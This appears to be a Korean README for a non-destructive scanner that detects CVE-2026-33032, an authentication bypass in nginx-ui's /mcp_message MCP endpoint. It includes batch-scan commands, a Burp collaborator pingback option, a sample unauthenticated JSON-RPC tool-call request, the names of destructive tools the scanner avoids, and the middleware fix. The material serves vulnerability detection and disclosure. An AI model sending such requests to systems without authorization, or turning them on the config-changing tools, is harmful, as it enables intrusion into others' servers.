
비파괴적 취약점 스캐너: Nginx-UI MCP 엔드포인트 인증 우회 (CVE-2026-33032)
Nginx-UI MCP 엔드포인트 인증 우회를 위한 비파괴적 취약점 스캐너
CVE-2026-33032는 nginx-ui의 Model Context Protocol(MCP) 통합에서 발생하는 인증 우회 취약점입니다. /mcp_message 엔드포인트는 모든 MCP 도구에 대한 접근을 제공하면서 인증 미들웨어가 없어, 원격 공격자가 다음을 수행할 수 있습니다:
인증 비대칭성: /mcp 엔드포인트는 인증을 요구하지만 /mcp_message는 그렇지 않습니다:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // AuthRequired() 누락
Fail-Open IP 화이트리스트: 기본 IP 화이트리스트가 비어 있어, 미들웨어가 이를 "모두 허용"으로 처리합니다
두 엔드포인트가 동일한 핸들러 공유: 둘 다 모든 MCP 도구 호출을 처리하는 동일한 mcp.ServeHTTP()로 라우팅됩니다
✅ 비파괴적 테스트 - 읽기 전용 MCP 도구만 사용
✅ 포괄적 핑거프린팅 - nginx-ui 설치 식별
✅ 안전한 개념 증명 - 구성 변경 없음
✅ 배치 스캔 - 파일에서 여러 대상 처리
✅ 상세 보고 - 통합을 위한 JSON 출력
# 스캐너 복제 또는 다운로드
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# 의존성 설치 (필요한 경우)
pip3 install requests
# 단일 대상 스캔
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# 상세 출력으로 스캔
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# 사용자 지정 타임아웃
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# 파일에서 여러 대상 스캔
python3 cve-2026-33032-scanner.py -f targets.txt
# 상세 출력 및 JSON 보고서 포함
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - 한 줄에 하나의 URL
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
스캐너는 다단계 탐지 프로세스를 수행합니다:
설치를 식별하기 위해 일반적인 nginx-ui 엔드포인트를 확인합니다:
/api/info - 버전 정보/login - 로그인 페이지/api/auth/login - 인증 엔드포인트/mcp 및 /mcp_message - MCP 엔드포인트/mcp 엔드포인트가 인증을 제대로 요구하는지 테스트합니다 (기준선)
인증 없이 /mcp_message를 통해 비파괴적 MCP 도구 호출을 시도합니다:
인증 없이 도구가 성공하면 취약점이 확인됩니다.
스캐너는 읽기 전용 MCP 도구만 호출합니다:
| 도구 | 설명 | 영향 |
|---|---|---|
nginx_status | nginx 서비스 상태 읽기 | 변경 없음 |
nginx_config_list | 구성 파일 목록 | 변경 없음 |
nginx_config_base_path | 구성 디렉터리 경로 가져오기 | 변경 없음 |
명시적으로 회피하는 도구:
nginx_config_add - 파일을 생성함nginx_config_modify - 구성을 변경함restart_nginx / reload_nginx - 서비스 중단nginx_config_enable - 활성 구성을 변경함[+] nginx-ui 감지됨: /login에서 'nginx-ui' 발견
[+] /mcp 엔드포인트가 제대로 보호됨
[*] /mcp_message 엔드포인트 테스트 중 (CVE-2026-33032)...
[*] 도구 시도 중: nginx_status - nginx 상태 읽기 (가장 안전)
상태: 200
======================================================================
[!] CVE-2026-33032에 취약함
======================================================================
증거: 인증 없이 nginx_status 실행 성공
[+] nginx-ui 감지됨: 버전 엔드포인트 접근 가능
[+] /mcp 엔드포인트가 제대로 보호됨
[*] /mcp_message 엔드포인트 테스트 중 (CVE-2026-33032)...
[*] 도구 시도 중: nginx_status - nginx 상태 읽기 (가장 안전)
상태: 401
인증 필요 (보호됨) ✓
[+] 취약하지 않음 - 엔드포인트가 인증을 요구함
취약점이 확인된 경우:
즉시 수정: /mcp_message에 인증 미들웨어 추가:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
심층 방어:
업그레이드: 패치된 nginx-ui 버전이 제공되면 업데이트
이 도구는 다음을 위해 설계되었습니다:
소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 이 도구를 사용하지 마십시오.
이 취약점을 보고할 때:
심각도: 치명적 (CVSS 9.8+)
증거: 인증 없는 MCP 도구 호출 성공을 보여주는 스캐너 출력 포함
영향 체인:
안전한 PoC: 읽기 전용 도구만 사용 (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
Antony Esthak Twinson @ Cyber Tamarin
보안 연구원 | 버그 바운티 헌터
웹 애플리케이션 보안 및 취약점 연구 전문
면책 조항: 이 스캐너는 비파괴적 테스트만 수행합니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.